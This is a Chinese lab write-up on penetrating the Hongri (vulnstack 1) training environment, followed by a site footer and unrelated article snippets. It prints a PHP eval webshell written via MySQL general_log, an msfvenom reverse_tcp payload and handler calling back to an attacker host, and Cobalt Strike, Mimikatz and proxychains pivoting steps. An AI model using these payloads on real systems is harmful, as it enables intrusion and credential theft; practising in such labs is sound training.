红日靶场1搭建渗透

环境搭建

下载好镜像文件并解压,启动vmware

这里我用自己的win7 sp1虚拟机作为攻击机,设置为双网卡NAT,vm2

其中用ipconfig查看攻击机ip地址

设置win7 x64为双网卡,vm1,vm2

设置win08单网卡vm1,win2k3为单网卡vm1

这样攻击机就可以访问win7 x64,但不能直接访问win08和win2k3。

三台靶机的初始密码都是hongrisec@2019 ,初次登录需要改密码。

进入win7 x64,开启web服务

这里是提前就下好了一个phpstudy

然后我们用nmap去扫描

访问phpinfo页面

然后我们猜一下是不是root/root的弱口令

尝试使用file_into或日志写入webshell。
secure_file_priv的值为“空”时允许任意文件写入,为“null”时不允许任何写入。该值也可以为路径;

show global variables like "%secure%";

算了,转战扫描目录

用dirsearch扫描一下目录

可以看到我们扫描到了phpmyadmin,访问/phpmyadmin 使用 刚刚检测到的 root:root 登录一下,成功登录进去了

在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务

看师傅的说法,phpmyadmin有两种getshell方式:

  • into outfile导出木马
  • 利用Mysql日志文件getshell

我们挨个试一下。

-尝试into outfile导出木马(失败)

执行 select @@basedir; 查看一下网站的路径

路径为:C:/phpStudy/MySQL/

再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php'; 直接将木马写入到 www网站根目录下 失败

百度了一下说是,因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =""。

直接写入木马不行,那我们就换另一种方法

-利用Mysql日志文件写入shell

先执行命令:show variables like '%general%'; 查看日志状态:

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell

SET GLOBAL general_log='on'
开启 general_log

SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'
指定日志写入到网站根目录的 hack.php 文件

然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 hack.php 文件中 访问/hack.php 成功写入,也能访问页面,那就用蚁剑直接连一下看看

前面我们登录进去之后,可以看到还有一个yxcms的数据库,同时我们进入后台之后,可以看到一个 beifen.rar备份文件和yxcms目录,这道题其实还有一种getshell的方法,这里我们也记录一下。 字典不够强大,没扫出来 beifen.rar和 /yxcms

访问/yxcms,可以看到在公告处,泄露了 yxcms的admin后台登录路径 以及 默认的密码

成功登录

编辑模板的地方,我们新增一个shell.php

我们把beifen.rar备份文件解压,在里面寻找模板的这么多php 都存放在了:/yxcms/protected/apps/default/view/default/
因此我们的shell.php 就生成在了这里

蚁剑连接 拿到shell

我们在拿到的shell 执行 whoami 发现是administrator权限 在域中
ifconfig 发现了内网网段 192.168.52.0/24

在kali里 ./teamserver 192.168.236.128 cs123456 运行cs服务

配置好listener监听器之后,生成 exe后门程序

利用蚁剑 把生成的artifact.exe 上传到靶机上:

在终端里执行 artifact.exe 可以看到靶机上线到CS上

 可使用 Mimikatz 直接抓取本机用户密码,执行 net view 发现了域内另外俩台机器

 我们可以进行上传文件操作

接下来进行信息收集

我们用ipconfig /all命令

DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域

只有一个域,用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA

然后我们用命令

net view

已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141

然后我们以域用户 administrator登录,输入密码

我们使用Kali的msf先反弹一个shell

用命令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php

生成反弹shell文件

msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.101
set lport 4444
run

设置监听

用蚁剑上传shell.php

获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.25.0/24网段

查看路由信息

run get_local_subnets

添加一条路由

run autoroute -s 192.168.52.0/24

用msf的socks4代理模块

按i进入编辑器

修改etc/proxychains.conf

[ProxyList]socks4 192.168.1.101 1080

proxychains代理nmap扫描主机

进行到这一步,,接下来的操作就有点没看明白了,整个过程都是懵懵的,看师傅怎么做我就怎么做,感觉完全跟着师傅的思路走,看见师傅还有哈希传递攻击什么的

参考文章

域渗透实战-红日靶场一 - FreeBuf网络安全行业门户

红日域渗透靶场1实战复现_红日靶场 复现-CSDN博客

[WEB安全]红日靶场(一)环境搭建_红日靶场1环境搭建-CSDN博客

红日靶场环境搭建详细步骤_红日靶场1环境搭建-CSDN博客

红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记-CSDN博客

https://www.cnblogs.com/1vxyz/p/17201316.html

vulnstack(一) 红日靶场复现_vulnstack1 cobaltstrike-CSDN博客

https://www.cnblogs.com/liliyuanshangcao/p/13743389.html 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/250946.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL查询缓存

MySQL查询缓存 MySQL在查询的时候首先会查询缓存&#xff0c;如果缓存命中的话就直接返回结果&#xff0c;不需要解析sql语句&#xff0c;也不会生成执行计划&#xff0c;更不会执行&#xff1b;如果没有命中缓存&#xff0c;则再进行SQL解析以及进行查询&#xff0c;并将结果返…

【轮式平衡机器人】——TMS320F28069片内外设之ADC

一、ADC概述 这一部分不是我们的重点&#xff0c;原理分类啥的这里简要说明&#xff01; 步骤&#xff1a;采样、保持、量化、编码 将采样电平&#xff08;模拟值&#xff09;转换为数字值的方法&#xff1a;直接比较型&#xff08;并行ADC、逐次逼近型ADC&#xff09;&…

【MongoDB】跨库跨表查询(python版)

MongoDB跨表跨库查询 1.数据准备&#xff1a;2.跨集合查询3.跨库查询应该怎么做&#xff1f; 讲一个简单的例子&#xff0c;python连接mongodb做跨表跨库查询的正确姿势 1.数据准备&#xff1a; use order_db; db.createCollection("orders"); db.orders.insertMan…

【C++入门到精通】C++的IO流(输入输出流) [ C++入门 ]

阅读导航 引言一、C语言的输入与输出二、流是什么三、CIO流1. C标准IO流&#xff08;1&#xff09;istream&#xff08;2&#xff09;ostream&#xff08;3&#xff09;iostream&#xff08;4&#xff09;cin 和 cout 2. C文件IO流&#xff08;1&#xff09;ifstream&#xff0…

【Android新版本兼容】onBackPressed()方法被弃用的解决方案

提示&#xff1a;此文章仅作为本人记录日常学习使用&#xff0c;若有存在错误或者不严谨得地方欢迎指正。 文章目录 一、使用 AndroidX API 实现预测性返回手势1.1 添加依赖1.2 启用返回手势1.3 注册OnBackPressedCallback()方法来处理返回手势 一、使用 AndroidX API 实现预测…

Linux实验记录:使用vsftpd服务传输文件

前言&#xff1a; 本文是一篇关于Linux系统初学者的实验记录。 参考书籍&#xff1a;《Linux就该这么学》 实验环境&#xff1a; VmwareWorkStation 17——虚拟机软件 RedHatEnterpriseLinux[RHEL]8——红帽操作系统 备注&#xff1a; 为了解决在多样复杂的设备之间解决传…

Android studio打包apk比较大

1.遇到的问题 在集成linphone打包时发现有118m&#xff0c;为什么如此之大额。用studio打开后发现都是不同的cpu架构。 2.解决办法 增加ndk配置&#xff0c;不需要配置那么多的cpu结构&#xff0c;根据自己需要调整。 defaultConfig { applicationId "com.matt.linp…

关于Ubuntu下docker-mysql:ERROR 2002报错

报错场景&#xff1a; mysql容器创建好后登录mysql时即使密码正确也是报出下方提示&#xff1a; 原因是在创建mysql容器在创建时本地目录缺失&#xff0c; 先去自建一个目录&#xff0c;例如&#xff1a; /opt/my_sql 正确完整目录如下&#xff1a; docker run --namemys…

【微服务】skywalking自定义链路追踪与日志采集

目录 一、前言 二、自定义链路追踪简介 2.1 自定义链路追踪应用场景 2.2 链路追踪几个关键概念 三、skywalking 自定义链路追踪实现 3.1 环境准备 3.2 集成过程 3.2.1 导入核心依赖 3.2.2 几个常用注解 3.2.3 方法集成 3.2.4 上报追踪信息 四、skywalking 自定义日志…

springboot153相亲网站

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的 适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负。 看运行截图看 第五章 第四章 获取资料方式 **项…

lava学习-多态-final-抽象类

一.多态 1.什么是多态&#xff1f; 现象&#xff1a;对象多态&#xff1a;比如说一个人 类&#xff0c;他可以是一个老师&#xff0c;也可以是一个同学 行为多态&#xff1a;多个对象同一类行为的不同表现形式&#xff0c;比如两个人&#xff0c;一个人跑得快&#xff0c;另一个…

Spring 事务原理总结三

今天这篇文章&#xff0c;我想梳理一下Spring事务用到的几个核心组件。这些核心组件是我们理解Spring事务原理的基础。通过它们我们可以体会学习一下Spring设计者设计Spring事务时的基本思路。这些组件是&#xff1a;TransactionInfo、TransactionStatus、TransactionManager、…

极速上手:使用Jmeter轻松实现N种参数化

参数化的方式&#xff1a; 一、使用用户自定义变量 一种方式&#xff1a;直接在测试计划中添加用户自定义变量 另外一种方式&#xff1a;配置元件——用户自定义变量 示例&#xff1a;用户自定义变量&#xff0c;登录手机号码 在接口请求的时候&#xff0c;进行引用 请求之后&…

利用OpenCV实现物流与生产线自动化的革命性突破

背景介绍&#xff1a; 在当今高度自动化的时代&#xff0c;物流和生产线上的每一个环节都关乎企业的核心竞争力。传统的生产方式往往依赖于人工检测和操作&#xff0c;这不仅效率低下&#xff0c;而且容易出错。为了解决这一问题&#xff0c;越来越多的企业开始寻求利用计算机视…

备战蓝桥杯---搜索(应用基础1)

话不多说&#xff0c;直接看题&#xff1a; 显然&#xff0c;我们直接用深搜&#xff0c;我们可以先把空位用结构体存&#xff0c;然后打表存小方块&#xff0c;再用数组存行列。 下面是AC代码&#xff1a; #include<bits/stdc.h> using namespace std; int a[12][12];…

MySQL进阶45讲【11】怎么更好地给字符串字段加索引?

1 前言 现在&#xff0c;几乎所有的系统都支持邮箱登录&#xff0c;如何在邮箱这样的字段上建立合理的索引&#xff0c;是我们今天要讨论的问题。 假设&#xff0c;现在维护一个支持邮箱登录的系统&#xff0c;用户表是这么定义的&#xff1a; mysql> create table SUser…

学成在线: 新增/修改课程计划

新增/修改课程计划(同接口) 界面原型 第一步: 在课程计划界面,点击添加章新增第一级课程计划,点击添加小节可以向某个第一级课程计划下添加小节 新增章/节成功后会自动发起请求刷新课程计划列表并且把新增的课程计划信息添加到数据库当中,新增的课程计划自动排序到最后 第二…

数据结构—动态查找

动态查找介绍 1. 动态查找的引入&#xff1a;当查找表以线性表的形式组织时&#xff0c;若对查找表进行插入、删除或排序操作&#xff0c;就必须移动大量的记录&#xff0c;当记录数很多时&#xff0c;这种移动的代价很大。 2. 动态查找表的设计思想&#xff1a;表结构本身是…

华为机考入门python3--(5)牛客5-进制转换

分类&#xff1a;数字 知识点&#xff1a; 十六进制转int num int(hex_num, 16) int转十六进制 hex_num hex(num) 题目来自【牛客】 hex_num input().strip() dec_num int(hex_num, 16) print(dec_num) by 软件工程小施同学

uniapp开发一个交流社区小程序

uniapp开发一个交流社区小程序 假期的时候简单学了一下uniapp&#xff0c;想开发一款类似百度贴吧的交流社区来练练手。本篇文章主要记录开发过程&#xff0c;文末附上项目地址。 主要需要开发以下几个页面。 信息页面热榜页面用户主页用户信息页 信息页面 该页面的功能主要…